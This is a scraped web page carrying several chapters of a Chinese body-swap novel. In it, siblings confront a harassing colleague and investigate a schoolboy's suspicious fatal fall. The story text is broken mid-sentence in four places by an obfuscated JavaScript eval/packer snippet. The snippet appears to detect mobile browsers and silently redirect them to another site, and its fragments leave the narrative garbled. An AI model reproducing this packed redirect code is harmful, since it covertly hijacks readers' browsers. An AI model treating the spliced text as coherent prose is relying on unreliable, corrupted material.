虽然同样是伤害和疼痛,比来比去没什么意思,但是沈渡舟这个时候是真的心疼了,只有在心疼重要的人的时候,才会短暂地忘记自己的痛苦。 “姐。”沈渡舟破天荒地叫了声姐,语气软了下来,“林嘉文欠你的,我会让他一分不少地还回来。但这事儿你得听我的,咱们不能再躲了。” 沈知窈擦了擦眼泪,看着灯光下沈渡舟那张还带着稚气的脸,轻声问:“那你呢?渡舟,武岳走的那天……你到底在不在现场?” “前几天有一个叫赵雨桐的女生来找我了,不对——是找你。” “她给你送的饺子,饭盒下面有一个U盘,U盘里面的视频得想办法修复,太模糊了,很多东西都看不清。” 房间里陷入了一种粘稠的安静。 沈渡舟从兜里摸出打火机,金属盖子“咔哒”响了一声,却没点火。 “那个时候我应该正好在楼下。”沈渡舟的声音很低,像是在叙述一个遥远的梦,“小武是我唯一的哥们儿。那天原本说好一起去买参考书,但是那天突然就……” 他闭上眼,仿佛还能闻到那天空气中潮湿的土腥味。 那天云城的风里透着股子闷锈味儿,像极了旧仓库里堆了几十年的烂铁。 沈渡舟单手插在校服兜里,另一只手掂着个刚从后街买的肉夹馍,嘴里叼着根没点着的草稿纸卷,正顺着实验楼那道窄窄的外挂楼梯往上晃。 他跟武岳约好了,在那层常年没人去的旧图书室碰头,一块儿去书店。 武岳那小子轴,非说那套竞赛卷子今天不出明天准断货,催得跟夺命号似的。 就在沈渡舟走到二楼缓步台的时候,头顶上传来一阵极其凌乱的脚步声。 紧接着是某种带着惊恐、挣扎,甚至还伴随着重物撞击栏杆的闷响。 他下意识地抬头,视线穿过交错的钢筋扶手,刚好捕捉到了一个急速下坠的身影。 那是武岳。 即便只有那么零点几秒的擦肩,沈渡舟也看清了武岳校服领口被扯烂的豁口,还有他那双在半空中徒劳抓握、最后只剩下一片死灰的眼睛。 武岳没喊,甚至连惊呼都没有,就像一片被狂风生生从枝头拧下来的枯叶。 “嘭——” 那一声闷响并不像电影里演得那么惊天动地,更像是一袋沉重的沙包砸进了泥潭,钝重得让人牙齿发酸。 沈渡舟整个人僵在了原地,手里那个还冒着热气的肉夹馍掉在地上,滚了一圈,沾满了灰。他还没来得及往下看,楼梯上方就跌跌撞撞地冲下来一个黑影。 是李浩。 李浩那时候的脸色,沈渡舟这辈子都忘不掉——那是种透着青紫的惨白,头发乱得像鸡窝,衬衫扣子崩掉了一颗,露出的锁骨上还有几道新鲜的指甲挠痕。 李浩冲到二楼转角,猛地撞见沈渡舟,那双满是血丝的眼睛里瞬间爆发出一种近乎疯癫的惊惧。 两人就隔着三级台阶对视着。 沈渡舟脑子里还是一片空白,他指着下面,嗓子眼儿像是被火烧过,一个字也挤不出来。 而李浩盯着沈渡舟,视线在他那双因为震惊而微颤的手上停了几秒,然后猛地打了个激灵。 “沈渡舟……你看见了?”李浩的声音细得像被掐断的铁丝,带着股子歇斯底里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不然呢?像你一样就有用了,考最好的大学,拿最高的学位,然后被林嘉文这种垃圾踩在脚下?”沈渡舟反问,眼神里透着一股狠劲,“我不信那一套了,但我信一件事——既然我还没死,那有些账,总得有人去清算。” 深夜的房间里,姐弟俩隔着一段距离对坐。这大概是他们二十多年来最平和的一次谈话。没有争吵,没有偏见,只有两个被生活撞得满头包的灵魂,在酒精与月色的交织中,试图拼凑出一块完整的盾牌。 “许则安是个好人。”沈渡舟突然没头没脑地来了一句,“他跟你以前认识的那些人不一样,别在他面前犯浑。” 沈知窈愣了愣,想起刚才在车里,许则安看向“自己”时那种藏不住的眼神,心里莫名有些烦躁。 “用不着你教。你还是先管好你那个调研吧。”沈渡舟站起身,粗鲁地把被子往沈知窈身上一扔,“回你主卧睡去,别在这儿占我地儿。还有,明早不准偷吃我的包子,那是许~老~师~买给我的” 沈知窈被他那油腻的撒娇口吻惊起了一身鸡皮疙瘩,赶紧抱着被子站起来。 想要落荒而逃离开此地时,她突然想到什么似的,突然回头看了看台灯下那叠厚厚的笔记,眼底不易察觉闪过一抹温柔。 快要天亮了,台灯的光圈缩得极小,将两人的影子投射在灰白的墙面上,像两座寂静交叠的山。 深夜的寂静中,只有走廊里加湿器细微的嗡鸣声。 沈知窈看着沈渡舟,突然觉得,这个总是跟她拌嘴、让她操碎了心的弟弟,或许才是这漫长黑夜里,唯一能替她挡住风雪的屏障。 “你……还是多小心,那些人都不是什么省油的灯。”沈知窈开口。 “你就别管了,睡你的觉去。”沈渡舟粗声粗气地打断她,再次把被子往她头上一蒙,“那些老狐狸,交给我。你只需要在学校里当好你的大学霸,别让李浩看出破绽就行。” 沈知窈抱着被子站起身,走出门口时,回头看了一眼。沈渡舟已经重新坐回了电脑前,屏幕的微光照在他那张带着稚嫩的侧脸上,竟然透出一种异样的可靠。 “渡舟,别受伤。” “滚蛋,老子命大着呢。” 门和上,次卧重新归于安静,沈渡舟在一片死寂的昏暗中坐了很久,他起身伸手拉开窗帘,看着外面青灰色的冷调街道。 28. 无法拒绝 南城的夜色由浓稠的黑转为一种透着冷意的深蓝。 沈知窈站在次卧门口,酒精在大脑里疯狂叫嚣后的余震逐渐平息,只剩下太阳穴隐隐的跳动。 她紧了紧怀里的被子,走廊里的感应小夜灯在脚边投下一圈橘色的光影。她深吸一口气,踩着厚实的地毯,像个做贼的小兽,屏息凝神地走向主卧。 在指尖触碰到门把手的那一秒,沈知窈的呼吸顿住了。 她本以为会摸到一扇紧锁的、象征着“成年人社交边界”的门板,甚至已经做好了在门外枯坐到天亮的心理准备——毕竟,在名义上,那是许则安的私人领地,而她现在是个“男人”。 沈知窈自知刚才在车上的表现,许则安定然是不大满意的。 可指尖微微用力,门锁发出极其细微的、顺滑的“咔嗒”声。 门没锁。 不仅没锁,甚至还虚掩着一条缝,像是在这场荒诞的错位里,特意为某个迷路的人留出的窄门。 对,这个迷路的人就叫沈知窈。 沈知窈推门而入,厚重的遮光帘挡住了窗外微弱的晨光,屋子里漂浮着许则安身上那种熟悉的冷泉香,比车里更浓郁,更让人心安。床上的轮廓动也没动,呼吸声平稳得近乎刻意。 她放轻了脚步,绕到大床的左侧。她像个回巢的倦鸟,尽量不发出声响地掀起被角,把自己缩了进去。 床垫微微塌陷,带起一阵细小的气流。 沈知窈僵直着身体,盯着天花板上的石膏线条发呆。 她以为自己会因为这种“同床异梦”的尴尬而彻夜难眠,可许则安身上散发出来的热量,隔着两床被子的缝隙,一点点渗透过来。 这种热度不是少年人那种横冲直撞的燥烈,而像是一炉温着的炭火,在寂静的黎明前,无声地修补着她被这个操蛋的世界撕裂的神经。 “回来了?” 黑暗中,男人的嗓音低沉且沙哑,带着浓重的睡意,却听不出半分惊讶。 沈知窈浑身的寒毛瞬间竖了起来,她下意识地屏住呼吸,紧紧闭上眼,装作已经坠入梦乡。 这种拙劣的演技在许则安面前无异于掩耳盗铃,但她现在唯一的武器就是沉默。 许则安在被子里翻了个身,动作很轻,却足以让沈知窈感觉到他正侧过头看着自己。 沈知窈抓着被子的手紧了紧,喉咙里像是塞了一团浸水的棉花。她很想回一句“你怎么知道我会过来”,或者是“你到底把我看成了谁”,可这些话一旦出口,她苦心经营的、那层名为“沈渡舟”的皮囊就会瞬间崩碎。 她只能嗯了一声,然后继续装睡。 许则安在黑暗中发出一声极轻的、近乎叹息的轻笑。 “渡舟,你装睡的时候,睫毛抖得太厉害了。” 沈知窈索性把头往被子里一埋,瓮声瓮气地顶了一句:“许老师,你懂不懂什么叫非礼勿视?睡觉。” “好,睡觉。” 许则安没再为难她。他伸出手,隔着厚厚的棉被,在她的背部虚虚地拍了两下,像是在安抚一个受惊的孩子,又像是在进行某种跨越时空的告别。 那种力道极轻,却让沈知窈鼻尖一酸。 窗外,第一缕晨曦终于刺破了南城的雾霭。 沈知窈在许则安不疾不徐的呼吸声中,终于松开了蜷缩的身体。 在这个不属于她的身体里,在这一方借来的卧榻上,她第一次没有梦见林嘉文的抱怨,也没有梦见武岳坠楼时的巨响。 她只是感觉到,潮汐退去了,露出了一片被月光洗刷得极其干净的沙滩。 窗外的晨曦挤过厚重的遮光帘缝隙,在深灰色的地毯上投下一道细长的金线。 沈知窈睁开眼时,有一瞬间的恍惚。 鼻尖萦绕的是干燥的木质香调,身下的床垫有着极好的支撑感——这是许则安的床。昨夜那些酒精催生出的剖白与战栗,此刻像退潮后的水渍,只在心头留下一点湿漉漉的痕迹。 她轻手轻脚地翻身下床,主卧里已经没了许则安的身影,只有被褥间余下的微温,昭示着那个男人刚离开不久。 推开门,一股极具生活气息的焦香味钻进鼻腔。 那是热油煎过面皮的酥香,混着浓郁的豆浆味。 沈知窈走到餐厅,看见沈渡舟正毫无形象地瘫在餐椅里,下巴抵着大理石桌面,两只眼睛熬得通红,眼底那抹青黑浓得像是化不开的墨。 “姐,您起得够准时的啊。”沈渡舟掀起眼皮瞟了她一眼,嗓音沙哑得像吞了把沙子,手里还攥着半个生煎包,含糊不清地抱怨,“你那些笔记是人看的吗?那个什么‘空间剥削’的逻辑链,我对着电脑顺了三遍才理通……你再不起,我都要怀疑你酒精中毒死在许老师床上了。” 沈渡舟沙哑的声音带着哭腔,濒临崩溃的可怜孩子。 沈知窈拉开椅子坐下,看着满桌热气腾腾的早餐,心头最软的地方像是被轻扎了一下。 “通宵了?”她轻声问,顺手把那一碗温热的燕麦粥推到他面前。 “不然呢?下周三调研组就要进场,林嘉文那孙子肯定憋着坏水想在现场看你笑话。你那个项目书我不弄明白,到时候一张口不就露馅了?”沈渡舟端起粥猛灌了一口,虽然嘴硬,但眼神里那股子拼命三郎的狠劲还没散,“说好了,要让那个孙子跪下来求饶的。” 这时,厨房里传来均匀的脚步声。 许则安系着一件深蓝色的格纹围裙走出来,手里端着一盘刚切好的清甜橙子。 他清爽得像是刚从清晨的森林里走出来,白衬衫的袖口挽到小臂,露出的线条干净有力。 “渡舟,宿醉还难受么,今天好好休息一天。”许则安自然地坐在主位上,先是将一碟醋碟推到沈知窈面前,又抬头看了看沈渡舟,嘴角噙着一抹温和的笑。 餐桌上,三人的影子被拉得很长。“沈知窈”在有一搭没一搭地吐糟学校食堂的包子没这个底儿脆,许则安则耐心地听着,偶尔温声纠正他几个用词,再顺手往“沈渡舟”碗里夹一个剥好的白水蛋。 这种氛围太接地气,也太像一个家了。 沈知窈不知道什么时候,自己才能跟沈渡舟换回来。 身体互换的日子太匆忙,如指尖流水,转瞬即逝,她来不及担心身体怎么换回去,也没想身体是怎么换的。 生活的急风骤雨来不及让人匪夷所思。 沈渡舟要上班了,相比于自己的高中生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383524|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,沈渡舟只能表示,各有各的难处,没有最差,只有更差,差到谷底且永无下限,直接能烂到地心。 总结一句话:不想上班,更不想上学。 尤其是今天午后,天气突然变得非常糟糕,身体也突然不舒服。 沈渡舟一度觉得自己应该提前联系好救护车。 下午的学院办公室走廊空荡荡的,唯有尽头那台老旧加湿器在不知疲倦地吐着白雾。 沈渡舟撑着沈知窈这副身子,只觉得小腹处坠着一团化不开的冰疙瘩,又酸又胀,像是有人拿了一把钝掉的挫刀,正慢条斯理地磨着他的脊梁骨。 他是个自诩坚强的人,打球骨折都没吭过声,可这种由内而外透出来的虚脱感,让他第一次对“沈知窈”这三个字有了种近乎惨烈的共情。 这沈知窈不运动也就算了,怎么还总是这儿痛一下那儿痛一下的。 他刚推开办公室的门,还没来得及倒杯热水,身后就传来一声轻响。 林嘉文反手锁了门。 “知窈,咱俩非得闹成这样吗?”林嘉文今天穿了一件考究的深蓝色西服,金丝眼镜后的那双眼,黏腻得像是一层洗不掉的油垢。他步步逼近,语气里带着一种施舍般的宽容,“南城的项目,你一个人吞不下的。只要你点个头,把原始数据分一半给我,副院长那边我去说。咱们还是像以前一样,不好吗?” 这个时候的沈渡舟脸色惨白,额角渗出一层细密的冷汗。 他掀起眼皮,看着林嘉文那张虚伪到令人作呕的脸,从齿缝里挤出一个字:“滚。” 林嘉文愣了一下,随即像是听到了什么笑话,竟自顾自地笑了起来。他走到沈渡舟身后,双手撑在转椅的扶手上,微微俯下身,温热的气息喷在沈渡舟的颈侧:“别耍小性子了。你要是惹了副院长的侄女,我也不能保证会发生什么,她是个嫉恶如仇的人,知道你以前做了那样的事……” 一边说着,林嘉文那只带着烟草味的手,顺着沈渡舟的肩膀就往下溜,意图在那截纤细的腰肢上流连。 沈渡舟胃里翻江倒海,那股子生理期的坠痛在这一刻炸裂开来,伴随着一种被冒犯的狂怒。 他没有像以前的沈知窈那样回避躲闪,而是顺着林嘉文发力的方向,猛地扣住了对方的手腕。 那动作快如闪电,压根不像一个常年伏案的弱女子。 也是经历过这么一遭,后来两人身体换回来了,沈知窈开启了漫漫的运动之路。 林嘉文还没反应过来,就感觉到一股排山倒海的力量顺着手腕拧了过来。 沈渡舟忍着小腹绞痛,咬紧牙关借力起身,腰部猛地一发力,一个标准得近乎教科书般的过肩摔。 “砰!” 重物坠地的闷响在死寂的办公室里格外惊心。 林嘉文像一麻袋发芽的青皮土豆,狠狠地砸在坚硬的大理石地板上,眼镜飞出老远,整个人蜷缩成一只大虾,痛苦地捂着头。 沈渡舟扶着桌角,剧烈地喘息了几口,感觉那一摔几乎用尽了他全身的力气。他低头看了看那条剪裁合体的职业裙,有些生疏地、却动作优雅地将其理平。 他蹲下身,揪住林嘉文的领带,迫使那张因痛苦而扭曲的脸抬起来。 29. 小发雷霆 “林嘉文,你算什么东西,我告诉你,再敢靠近一步,我就把你做的那些破事全都抖落出去,反正我是不怕的,大不了鱼死网破。” “你!沈知窈!你怎么敢——” “你看我敢不敢。”沈渡舟恶狠狠地瞪了回去。 这一巴掌扇出去后,心情愉悦了,但身体反而更沉重了。 沈渡舟此时正忍受着人生中从未有过的“酷刑”。 小腹处那股钻心的绞痛像是有一只铁手在肚子里反复揉捏、拉扯,连带着腰根子都酸软得快要支不住这副骨架。 最让他尴尬的是那种泥泞、湿冷的潮涌感,每走一步都像是踩在棉花堆里,还得时刻提防着有没有弄脏那条素净的西装裙。 他以前总觉得沈知窈爱矫情,可现在当他真正陷进这种生理性的虚脱里,他才惊觉,这具看似纤细的身体里,究竟藏着多大的耐受力。 女人啊,你既可以是水做的,也可以是淬炼出来的钢铁。 “砰!” 正当沈渡舟舒了一口气,刚把那个烂泥般的林嘉文踹开时,办公室的大门被人撞开了。 姚若晨穿着一身扎眼的玫红色羊绒大衣,踩着恨天高冲了进来,怀里还抱着几份装模作样的文件。 她一进门,视线扫过凌乱的办公桌,最后定格在倒地不起、正狼狈摸着眼镜的林嘉文身上,尖叫声瞬间刺破了走廊的死寂。 “沈知窈!你还要不要脸?”姚若晨三步并两步冲到林嘉文身边,却指着沈渡舟的鼻子破口大骂,“你不是说断干净了吗?锁着门在这儿勾引谁呢?当初是你自甘下贱想走捷径,现在看嘉文要升职了,你又想藕断丝连地贴上来?我告诉你,你这种货色,也就配给洪德清那种老头子端茶倒水!” 沈渡舟原本就疼得心烦意乱,此刻听着姚若晨这串如连珠炮般的羞辱,只觉得耳朵里嗡嗡作响。 他扶着桌角,额角的冷汗顺着鬓角滑进脖颈,衬得那张脸愈发苍白如纸。 “勾引?”沈渡舟冷笑一声,强撑着直起腰。虽然腹部在抽搐,但他眼神里的狠戾却像是一把开了刃的铡刀,“姚老师,你这眼睛要是捐了,估计也能算个医学奇迹。你哪只眼睛看见我勾引他了?是看他这一脸的青紫,还是看他趴在地上学狗叫的样子?” “你……你居然敢动手?”姚若晨愣住了,她记忆里的沈知窈永远是低头垂目、连大气都不敢喘的受气包,何曾有过这种这种要把人活活剐了的气场? “动手怎么了?我还想动脚呢。”沈渡舟往前迈了一步,即便此时身体虚弱得在打颤,那股从骨子里透出来的混混底色也足以震慑住眼前的跳梁小丑。 虚晃一枪,那一脚没踢实在,但着实威风凛凛,好像“沈知窈”下一秒能从兜里掏出一盒烟,叼着点燃的烟吞云吐雾一番。 他指着林嘉文,又指了指姚若晨,语调清冷却字字诛心:“林嘉文这种垃圾,也就你这个傻子当个宝捡回去供着,上赶着求垃圾就算了,还来污蔑我。他刚才求着我分他一半调研数据,甚至想拿副院长的位置跟我做交易。你要是真怕他被抢走,趁早拿条链子拴好了,你一条他一条,别整天像只疯狗一样到处乱吠,弄脏了我的地板。” “沈知窈!你别以为现在有人护着你……”姚若晨气得浑身发抖,看着地上狼狈的林嘉文,不由得哽咽了声音。 “滚。”沈渡舟直接打断了她的叫嚣,反手抄起桌上一个大个儿订书机,作势要砸,“趁我还有最后一点耐性,带着你的烂摊子赶紧滚。再多说一个字,我就让全院的人都知道,你姚若晨是怎么挖人墙角的。滚!” 那一瞬间爆发出来的杀气,让姚若晨吓得一个哆嗦,连滚带爬地扶起还在呻吟的林嘉文,灰溜溜地钻出了大门。 随着关门声响起,沈渡舟所有的力气像是瞬间被抽空。 他跌坐在转椅里,眼前阵阵发黑,小腹那阵冷飕飕的坠痛再次排山倒海般袭来。 “真麻烦……”他自嘲地嘟囔着,连抬手的力气都没了。 就在这时,办公室的门再次被轻声推开。 不是姚若晨,也不是林嘉文。 许则安带着一身清爽的寒气走了进来,手里不仅拿着毯子,还端着一个冒着热气的保温壶。他没有问刚才发生了什么,也没有评价那场混乱,只是动作极其自然地走过来,将一块毛茸茸的厚毯子裹在了沈渡舟的腿上。 “真是不巧,许老师,没赶得上英雄救美。” “我不知道沈知窈会怎么反击,但我知道,现在的‘你’肯定不会吃亏。” “先喝口热的。”许则安拧开盖子,热辣的红糖姜茶香味瞬间冲淡了屋子里那股粘腻的烟味。 紧接着,一个暖烘烘的暖宝宝被塞进了沈渡舟冰凉的手心里。 沈渡舟握着那个暖宝宝,感受着掌心传来的热度,再看看许则安那双始终平静、温润的眼眸,嗓子眼像是被什么东西堵住了。 “许老师……你这业务挺熟练啊。”沈渡舟闷头喝了一口姜茶,试图掩盖那一丝莫名的局促和尴尬。 难道那一晚,沈知窈喝多了失言,许则安真察觉到了什么。 许则安坐在他旁边的凳子上,伸手帮他理了理额前被打湿的碎发,指尖触碰到那冰凉的皮肤时,明显颤动了一下。 “好吧,其实是以前带学生做野外调研,习惯性地准备的。”许则安的声音很轻,带着一种能抚平焦躁的力量,“知窈,疼得厉害就别撑着,车在下面,咱们先回家。” 沈渡舟愣了愣,看着这个斯文得有些迂腐的男人,心里第一次生出一种异样的感觉。 他以前总觉得男人疼女人是理所应当的,可当他此刻真的成了这个“被疼”的人,感受着生理期那种无法言喻的疼痛和沉重时,他才发现,许则安这种不显山不露水的体贴,难能可贵。 “许则安。”沈渡舟叫了他的名字。 “嗯?” “谢谢。” 沈渡舟垂下头,姜茶的热气熏红了他的眼眶。 在这场荒诞的错位里,他替姐姐挥出了那记憋了太久的拳头,而许则安,则替这漫长的岁月,还了沈知窈一份迟来的温柔。 姐姐,如果有一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387425|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们能换回来,能不能不要再继续忍耐,我希望你能活得更轻松些。 沈知窈在家中待不住,她总觉得自己该做点什么。她还是去了学校,只是没有去教室——算是模仿着沈渡舟的习惯。 沈知窈避开了喧闹的操场,独自去了天台。 沈渡舟在那儿养了一只野猫,通体漆黑,瘦得肋骨支棱,唯有一双竖瞳在阴影里透着警惕的碎光。那是武岳生前最喜欢的流浪猫,也是沈渡舟这几年来唯一的“寄托”。 她蹲在角落,看着黑猫小声呜咽着舔舐猫粮。在这具充满力量感的少年躯壳里,她却真切地感受到了某种深不见底的荒凉。 武岳,这个只存在于弟弟日记和旧照片里的名字,正通过这些细枝末节,一点点拼凑成一个鲜活而惨烈的灵魂。 就在这时,身后传来了急促且凌乱的脚步声。 “渡哥!渡哥不好了!”周磊扶着天台的铁门,脸色煞白,连嗓音都带了哭腔。 沈知窈站起身,指尖还沾着一点猫粮的残渣,“怎么了?李浩又带人堵你了?” “不……不是。”周磊喘得厉害,眼眶瞬间红了一圈,“是小武的妈妈……她来了,就在校长室门口。” 沈知窈心头一震。 那个在沈渡舟描述中,因为儿子的死而几乎哭瞎了眼、最终搬离了老城区的女人,怎么会突然回来? 她没有片刻迟疑,转身冲下楼梯。 刚到办公楼三楼,一阵凄厉得如同裂帛般的哭喊声便穿透了走廊的死寂。 沈知窈挤开围观的学生,在校长室门口看见了那个女人。 那是一个枯槁得像是一截焦木的妇人。她头发花白,凌乱地披散在肩头,身上那件洗得发白的蓝布外套甚至还破了个口子。 她手里死死攥着一张塑封过的合照,照片里的武岳笑得灿烂,露出一对讨喜的虎牙。 “李浩!你出来啊!你还我儿子的命!” 女人的声音嘶哑到了极点,带着一种由于长期精神濒临崩溃而产生的神经质。她神志显然已经有些模糊了,嘴里反反复复念叨着:“我查到了……那件校服……那天你袖子上的血,我儿子求救的时候抓上去的……你为什么要把他推下去?” 校长室的门虚掩着,李浩正站在里侧,透过门缝往外看。他虽然脸色苍白,但眼神里更多的是一种被纠缠的不耐烦,甚至还带着一抹有恃无恐的嘲弄。 “这位家长,你冷静点。”教导主任试图上前拉拽,却被女人疯狂地甩开,“有什么冤屈咱们去派出所说,你在这儿影响教学……” “派出所?派出所管过吗?”女人发疯般地笑了起来,眼泪顺着满是褶皱的脸颊淌进脖子,“你们收了李家的钱,你们把监控弄丢了,你们说我儿子是自杀!他才十四岁,他刚拿到市里的奥数奖状,他跟我说想去南大读数学……他怎么会自杀?” 她猛地转过头,空洞且通红的眼睛扫过周围那些或是同情、或是躲闪的目光。最后,她的视线定格在了沈知窈脸上。 那是沈渡舟的脸,也是武岳生前最好的兄弟。 30. 摇摇欲坠 “渡舟……”女人的眼神里突然迸发出一点微弱的光,她踉跄着扑过来,干枯的手指死死扣住沈知窈的小臂,力道大得惊人,“渡舟,你那天在楼下对不对?你看见了对不对?你帮帮阿姨……你告诉他们,小武不是自己跳的,他那天是去拿被抢走的准考证的……” 沈知窈感觉到手臂上传来的一阵阵钝痛。 她看着这个精神已经崩塌的母亲,看着她那双布满血丝、近乎哀求的眼,心里那股压抑了许久的酸涩和愤怒终于决堤。 沈渡舟没看到真相,可她沈知窈在那堆被尘封的旧纸堆和不为人知交易名单里,已经隐约嗅到了那股腐烂的气息。 “阿姨。”沈知窈伸出手,稳稳地扶住摇摇欲坠的女人,她的声音在嘈杂的走廊里显得格外清晰、沉静,“您记着,小武不会白死。” 女人愣住了,浑浊的泪珠挂在眼角。 沈知窈抬起头,隔着虚掩的房门,冷冷地看向李浩。 那一瞬间,她眼底流露出的杀意,让躲在门后的李浩不自觉地打了个寒颤。 “有人记得他。”沈知窈回过头,轻轻拍了拍女人的手背,一字一顿地说道,“我记得,沈渡舟记得,天理也记着。您先回家,好吗。” 女人怔怔地看着她,像是在这个“少年”身上看到了一种从未有过的、能够托付生死的重影。 她低下头,把那张照片重新贴回心口,像抱着这世上最后的珍宝,在保安的搀扶下,一步一回头地走进了昏暗的楼道。 走廊里恢复了死一般的寂静。 沈知窈站在原地,手心里还残留着那个母亲颤抖的余温。 她知道,这不再仅仅是沈渡舟的执念,也是她沈知窈在重回这具身体前,必须亲手钉死的一枚公道。 她转过身,没看周围那些窃窃私语的老师。在下楼的一刹那,风从走廊尽头灌进来,吹得她校服猎猎作响。 她知道,消失的真相正随着这个疯母亲的闯入,彻底撕开了第一道口子。 沈知窈顺着周磊给的地址,找到了武岳母亲现在的住处。 那是城郊一片待拆迁的自建房,电线凌乱地缠绕在逼仄的巷口,像一团理不顺的死结。 屋子里黑沉沉的,窗户被旧报纸糊得严严实实,空气中弥漫着一股发霉的纸张和劣质线香的味道。 武岳的母亲,那个在校门口几乎疯癫的女人,此时正蜷缩在破旧的藤椅上,怀里依然死死抱着那张照片,眼神涣散地盯着虚空,嘴里细碎地念叨着什么。 “阿姨,是我。”沈知窈蹲下身,尽量让沈渡舟这副粗硬的嗓音听起来温和一些。 女人猛地打了个哆嗦,浑浊的瞳孔聚焦了好半天,才认出眼前这个“少年”。 她枯槁的手指猛地抓紧了沈知窈的衣袖,指甲陷进布料里,声音尖细而颤抖:“渡舟……是你……你来看小武了?他还没放学,他说今天要早点回来,给我带校门口的粢饭糕……” 沈知窈心里一酸,那种被岁月生生拧碎的母爱,比任何拳头都要沉重。 她轻轻握住老人的手,那只手冰凉得像是一块死玉。 “阿姨,小武托我来拿个东西。”沈知窈放低了声音,像是在诱导一个迷路的孩子,“他那天在天台,是不是还有件东西没拿回来?就是那件……他那天穿在身上的校服。” 提到“校服”两个字,女人的身体剧烈地抽搐了一下。 她像是被按下了某个痛苦的开关,整个人陷入了一种极度的惊恐中,推开沈知窈,跌跌撞撞地冲向屋角的一个旧木箱。 “不能给他们……李家的人要抢……他们说那是自杀……不是自杀!” 她跪在地上,疯狂地翻找着,最后从箱底抠出一个被塑料布层层包裹的包裹。 打开的一瞬间,一股尘封了三年的血腥气和霉味扑面而来。 那是武岳坠楼那天穿的校服。 由于保存不善,蓝白相间的布料已经泛了黄,左侧袖口处有一道极其明显的撕裂痕迹,而最让沈知窈瞳孔收缩的,是校服第二颗扣子的位置空空如也,断裂的线头在那儿狰狞地支棱着。 “那天,我收拾衣服的时候发现的……”女人突然安静了下来,她抚摸着那个缺口,眼神里透出一种诡异的清醒,“小武这孩子爱干净,衣服从来不乱扔。可那天,这件衣服在书包底里塞着,全是土……还有这个。” 她颤抖着从兜里摸出一个小小的透明密封袋,里面躺着半截碎掉的指甲,边缘毛糙,带着干涸的暗红色血迹。 “这不是小武的。”女人的声音冷得像冰,“小武有咬指甲的习惯,他的指甲从来不会留这么长。这是李浩那个畜生的……他在天台抓着小武的领子,小武挣扎的时候掰断了他的指甲。” 原来这就是真相,并没有很复杂,仅仅是一个二世祖最原始、最残忍的恶意。 李浩在推搡中弄断了指甲,又在匆忙离场时,为了掩盖真相,买通了当时的保安,甚至让家里人给学校捐了一栋楼来封口。 躲避灾阴暗处的赵雨桐逃过一劫,而出现在楼梯转角的沈渡舟,成了李浩梦魇的源头。 “阿姨,这东西,我带走了。”沈知窈站起身,将证据稳稳地揣进怀里。 “你能让他回来吗?”女人抬头看着她,眼神里透出最后一点希冀。 沈知窈沉默良久,看着照片里那个虎牙少年,最后低声说道:“他是沈渡舟最好的朋友,我们都想让他……安心地离开。” 南城的雨总是在深夜转为细密的愁绪。 沈知窈从武岳母亲那间漏风的老屋出来时,怀里那个装有指甲碎片的密封袋贴着胸口,泛起一阵冷硬的触感。 她没有回许则安那个充满冷泉香气的公寓,而是鬼使神差地回到了那个离老城区不远、中规中矩却透着生活烟火气的家。 这房子是父母留下的,地段不算繁华,推开窗还能瞧见远处巷子里卖糖炒栗子的烟火。 沈知窈反手拧开门锁,屋子里落了一层薄薄的灰,空气中浮动着一种久违的、独属于姐弟俩博弈多年的陈旧气息。 她踩着沈渡舟那双略显沉重的脚步,推开了次卧的门。 沈渡舟的房间乱得像个被台风刮过的废品站,墙上贴着几张早就过期的球星海报,书桌一角堆满了没开封的习题册,和几本翻得卷了边的武侠小说。 沈知窈蹲下身,视线落在书桌最下层那个带锁的抽屉上。 她记得那个抽屉。 三年前,沈渡舟刚上高一,整个人像只刺猬,谁碰扎谁。有次她帮他收拾屋子,无意中翻到了抽屉缝里露出的一个角,那是张磨损严重的准考证。 当时沈知窈刚拿到奖学金,心情正阔朗,顺嘴逗了他一句:“沈渡舟,你这准考证藏得跟情书似的,不会是暗恋哪个小姑娘吧?” 那时候的沈渡舟像被踩了尾巴的猫,猛地夺过那张纸,眼眶红得吓人,咬牙切齿地吼了一句:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393910|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈知窈,你懂个屁!别碰我的东西!” 那是他们姐弟俩闹得最僵的一次,沈知窈觉得他不识好歹,沈渡舟觉得她高高在上。 